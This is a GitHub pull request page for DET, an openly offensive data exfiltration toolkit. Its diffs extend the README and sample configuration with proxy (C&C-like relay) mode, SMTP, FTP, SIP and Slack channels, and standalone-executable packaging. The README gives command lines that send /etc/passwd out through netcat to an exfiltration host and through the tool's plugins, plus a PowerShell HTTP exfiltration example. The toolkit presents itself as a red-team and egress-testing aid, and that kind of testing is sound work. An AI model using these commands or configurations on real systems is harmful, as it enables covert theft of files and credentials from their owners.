Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Integrating the excellent work from nisay #17

Open
wants to merge 46 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
46 commits
Select commit Hold shift + click to select a range
e28acd6
Packet reordering before file retrieval
nisay759 Mar 21, 2017
45ab12a
Handling missing packets
nisay759 Mar 21, 2017
9f4d7f3
Improve DNS plugin
nisay759 Mar 22, 2017
a7221f0
Sending icmp packets with sockets instead of scapy
nisay759 Mar 27, 2017
23e82af
PyInstaller portability fix
nisay759 Mar 27, 2017
e63652e
ICMP requests sniffing with sockets
nisay759 Mar 27, 2017
04aa224
Replace scapy with socket/dpkt in DNS plugin
nisay759 Mar 29, 2017
bc94d71
Add PyInstaller .spec file
nisay759 Mar 29, 2017
95bf40b
Add support for zombie mode
nisay759 Mar 30, 2017
8330c89
Implement zombie mode in DNS plugin
nisay759 Mar 30, 2017
34b0286
Update README and config files
nisay759 Mar 30, 2017
0459ec1
Added BlackHat Arsenal badge
PaulSec Mar 31, 2017
2a3fdc6
Implement zombie mode in ICMP plugin
nisay759 Mar 31, 2017
8ea6c5e
Implement zombie mode in UDP plugin
nisay759 Mar 31, 2017
3b66047
Implement zombie mode in TCP plugin
nisay759 Mar 31, 2017
e61099b
Implement zombie mode in HTTP plugin
nisay759 Apr 3, 2017
4c62bd6
Dummy zombie() function for the remaining plugins
nisay759 Apr 3, 2017
a92490e
Pure SMTP plugin
nisay759 Apr 4, 2017
8798d8a
FTP mkdir exfiltration plugin
nisay759 Apr 4, 2017
2e48592
Update requirements.txt
nisay759 Apr 20, 2017
483d1a3
SIP plugin
nisay759 Apr 20, 2017
f57f2e2
Update config file for SIP plugin
nisay759 Apr 20, 2017
8f281b2
Update requirements
nisay759 Apr 24, 2017
c91af5c
Simplify ICMP plugin (using dpkt)
nisay759 Apr 24, 2017
78a64c2
Proper zombie targets management
nisay759 Apr 24, 2017
3c5f418
Merge branch 'development'
nisay759 Apr 24, 2017
f903810
Fix network issues in SIP plugin
nisay759 Apr 27, 2017
aab751c
Rename Zombie-mode to Proxy-mode
nisay759 May 16, 2017
f6fa2e9
Update README
nisay759 May 16, 2017
de3e52d
Implement proxy mode in SIP plugin
nisay759 May 16, 2017
ebd49a7
Update README
nisay759 Jun 10, 2017
dcb0c79
Improvements in http plugin
nisay759 Jun 29, 2017
b8530d6
Change ambiguous variable name
nisay759 Jun 30, 2017
8e968b4
Base64 encode payloads in ftp plugin
nisay759 Jul 5, 2017
fc9bf01
Add support for multiple (-f) files exfiltration
nisay759 Jul 6, 2017
52158e6
Add support for reading files from stdin
nisay759 Jul 6, 2017
d96017e
Update README
nisay759 Jul 6, 2017
5e4e5f9
Remove duplicates when sending multiple files (-f)
nisay759 Jul 6, 2017
12ee158
Modified the README.md
PaulSec Aug 12, 2017
3613500
Update README
nisay759 Oct 9, 2017
27d694a
Update det.py
nisay759 Oct 9, 2017
6974b73
Update README
nisay759 Oct 23, 2017
ca0f427
Merge branch 'master' into master
nisay759 Nov 3, 2017
5fcae31
Merge remote-tracking branch 'PaulSec/master'
nisay759 Nov 3, 2017
d5fe6c4
Restore Powershell plugins
nisay759 Nov 3, 2017
0feb605
Update README.md
nisay759 Nov 3, 2017
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 3 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
@@ -1,2 +1,4 @@
*.pyc
*.pem
*.pem
build
dist
165 changes: 124 additions & 41 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
[![Black Hat Arsenal](https://www.toolswatch.org/badges/arsenal/2016.svg)](https://www.blackhat.com/us-16/arsenal.html#det)

DET (extensible) Data Exfiltration Toolkit
=======

Expand Down Expand Up @@ -53,51 +55,58 @@ pip install -r requirements.txt --user
# Configuration

In order to use DET, you will need to configure it and add your proper settings (eg. SMTP/IMAP, AES256 encryption
passphrase and so on). A configuration example file has been provided and is called: ```config-sample.json```
passphrase, proxies and so on). A configuration example file has been provided and is called: ```config-sample.json```

```json
{
"plugins": {
"http": {
"target": "192.168.1.101",
"port": 8080
},
"google_docs": {
"target": "192.168.1.101",
"target": "192.168.0.12",
"port": 8080,
"proxies": ["192.168.0.13", "192.168.0.14"]
},
"google_docs": {
"target": "conchwaiter.uk.plak.cc",
"port": 8080
},
"dns": {
"key": "google.com",
"target": "192.168.1.101",
"port": 53
"target": "192.168.0.12",
"port": 53,
"proxies": ["192.168.0.13", "192.168.0.14"]
},
"gmail": {
"username": "[email protected]",
"password": "ReallyStrongPassword",
"server": "smtp.gmail.com",
"port": 587
[...SNIP...]
"icmp": {
"target": "192.168.0.12",
"proxies": ["192.168.0.13", "192.168.0.14"]
},
"tcp": {
"target": "192.168.1.101",
"port": 6969
"slack": {
"api_token": "xoxb-XXXXXXXXXXX",
"chan_id": "XXXXXXXXXXX",
"bot_id": "<@XXXXXXXXXXX>:"
},
"udp": {
"target": "192.168.1.101",
"port": 6969
"smtp": {
"target": "192.168.0.12",
"port": 25,
"proxies": ["192.168.0.13", "192.168.0.14"]
},
"twitter": {
"username": "PaulWebSec",
"CONSUMER_TOKEN": "XXXXXXXXX",
"CONSUMER_SECRET": "XXXXXXXXX",
"ACCESS_TOKEN": "XXXXXXXXX",
"ACCESS_TOKEN_SECRET": "XXXXXXXXX"
"ftp": {
"target": "192.168.0.12",
"port": 21,
"proxies": ["192.168.0.13", "192.168.0.14"]
},
"icmp": {
"target": "192.168.1.101"
"sip": {
"target": "192.168.0.12",
"port": 5060,
"proxies": ["192.168.0.13", "192.168.0.14"]
}
},
"AES_KEY": "THISISACRAZYKEY",
"sleep_time": 10
"max_time_sleep": 10,
"min_time_sleep": 1,
"max_bytes_read": 400,
"min_bytes_read": 300,
"compression": 1
}
```

Expand All @@ -108,7 +117,7 @@ passphrase and so on). A configuration example file has been provided and is cal
```bash
python det.py -h
usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE]
[-L]
[-L | -Z]

Data Exfiltration Toolkit (SensePost)

Expand All @@ -120,6 +129,7 @@ optional arguments:
-p PLUGIN Plugins to use (eg. '-p dns,twitter')
-e EXCLUDE Plugins to exclude (eg. '-e gmail,icmp')
-L Server mode
-Z Proxy mode
```

## Server-side:
Expand Down Expand Up @@ -161,6 +171,18 @@ To load every plugin and exclude DNS:
```bash
python det.py -c ./config.json -e dns -f /etc/passwd
```
You can also listen for files from stdin (e.g output of a netcat listener):

```bash
nc -lp 1337 | python det.py -c ./config.json -e http -f stdin
```
Then send the file to netcat:

```bash
nc $exfiltration_host 1337 -q 0 < /etc/passwd
```
Don't forget netcat's `-q 0` option so that netcat quits once it has finished sending the file.

And in PowerShell (HTTP module):

```powershell
Expand All @@ -169,36 +191,97 @@ PS C:\Users\user01\Desktop> . .\http_exfil.ps1
PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe'
```

## Proxy mode:

In this mode the client will proxify the incoming requests towards the final destination.
The proxies addresses should be set in ```config.json``` file.

```bash
python det.py -c ./config.json -p dns,icmp -Z
```

# Standalone package

DET has been adapted in order to run as a standalone executable with the help of [PyInstaller](http://www.pyinstaller.org/).

```bash
pip install pyinstaller
```

The spec file ```det.spec``` is provided in order to help you build your executable.

```python
# -*- mode: python -*-

block_cipher = None

import sys
sys.modules['FixTk'] = None

a = Analysis(['det.py'],
pathex=['.'],
binaries=[],
datas=[('plugins', 'plugins'), ('config-sample.json', '.')],
hiddenimports=['plugins/dns', 'plugins/icmp'],
hookspath=[],
runtime_hooks=[],
excludes=['FixTk', 'tcl', 'tk', '_tkinter', 'tkinter', 'Tkinter'],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher)
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
name='det',
debug=False,
strip=False,
upx=True,
console=True )
```

Specify the modules you need to ship with you executable by editing the ```hiddenimports``` array.
In the example above, PyInstaller will package the DNS and ICMP plugins along with your final executable.
Finally, launch PyInstaller:

```base
pyinstaller det.spec
```

Please note that the number of loaded plugins will reflect on the size of the final executable.
If you have issues with the generated executable or found a workaround for a tricky situation, please open an issue so this guide can be updated for everyone.

# Modules

So far, DET supports multiple protocols, listed here:

- [X] HTTP(S)
- [X] ICMP
- [X] DNS
- [X] SMTP/IMAP (eg. Gmail)
- [X] Raw TCP
- [X] SMTP/IMAP (Pure SMTP + Gmail)
- [X] Raw TCP / UDP
- [X] FTP
- [X] SIP
- [X] PowerShell implementation (HTTP, DNS, ICMP, SMTP (used with Gmail))

And other "services":

- [X] Google Docs (Unauthenticated)
- [X] Twitter (Direct Messages)

# Experimental modules

So far, I am busy implementing new modules which are almost ready to ship, including:

- [ ] Skype (95% done)
- [ ] Tor (80% done)
- [ ] Github (30/40% done)
- [X] Slack

# Roadmap

- [X] Add proper encryption (eg. AES-256) Thanks to [ryanohoro](https://github.com/ryanohoro)
- [X] Compression (extremely important!) Thanks to [chokepoint](https://github.com/chokepoint)
- [X] Add support for C&C-like multi-host file exfiltration (Proxy mode)
- [ ] Discovery mode (where distributed agents can learn about the presence of each other)
- [ ] Egress traffic testing
- [ ] Proper data obfuscation and integrating [Cloakify Toolset Toolset](https://github.com/trycatchhcf/cloakify)
- [ ] FTP, FlickR [LSB Steganography](https://github.com/RobinDavid/LSB-Steganography) and Youtube modules
- [ ] FlickR [LSB Steganography](https://github.com/RobinDavid/LSB-Steganography) and Youtube modules

# References

Expand All @@ -213,7 +296,7 @@ Some pretty cool references/credits to people I got inspired by with their proje

# Contact/Contributing

You can reach me on Twitter [@PaulWebSec](https://twitter.com/PaulWebSec).
You can reach me on Twitter [@PaulWebSec](https://twitter.com/PaulWebSec).
Feel free if you want to contribute, clone, fork, submit your PR and so on.

# License
Expand Down
30 changes: 25 additions & 5 deletions config-sample.json
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,8 @@
"plugins": {
"http": {
"target": "192.168.0.12",
"port": 8080
"port": 8080,
"proxies": ["192.168.0.13", "192.168.0.14"]
},
"google_docs": {
"target": "SERVER",
Expand All @@ -11,7 +12,8 @@
"dns": {
"key": "google.com",
"target": "192.168.0.12",
"port": 53
"port": 53,
"proxies": ["192.168.0.13", "192.168.0.14"]
},
"gmail": {
"username": "[email protected]",
Expand All @@ -21,11 +23,13 @@
},
"tcp": {
"target": "192.168.0.12",
"port": 6969
"port": 6969,
"proxies": ["192.168.0.13", "192.168.0.14"]
},
"udp": {
"target": "192.168.0.12",
"port": 6969
"port": 6969,
"proxies": ["192.168.0.13", "192.168.0.14"]
},
"twitter": {
"username": "PaulWebSec",
Expand All @@ -35,12 +39,28 @@
"ACCESS_TOKEN_SECRET": "XXXXXXXXXXX"
},
"icmp": {
"target": "192.168.0.12"
"target": "192.168.0.12",
"proxies": ["192.168.0.13", "192.168.0.14"]
},
"slack": {
"api_token": "xoxb-XXXXXXXXXXX",
"chan_id": "XXXXXXXXXXX",
"bot_id": "<@XXXXXXXXXXX>:"
},
"smtp": {
"target": "192.168.0.12",
"port": 25,
"proxies": ["192.168.0.13", "192.168.0.14"]
},
"ftp": {
"target": "192.168.0.12",
"port": 21,
"proxies": ["192.168.0.13", "192.168.0.14"]
},
"sip": {
"target": "192.168.0.12",
"port": 5060,
"proxies": ["192.168.0.13", "192.168.0.14"]
}
},
"AES_KEY": "THISISACRAZYKEY",
Expand Down
Loading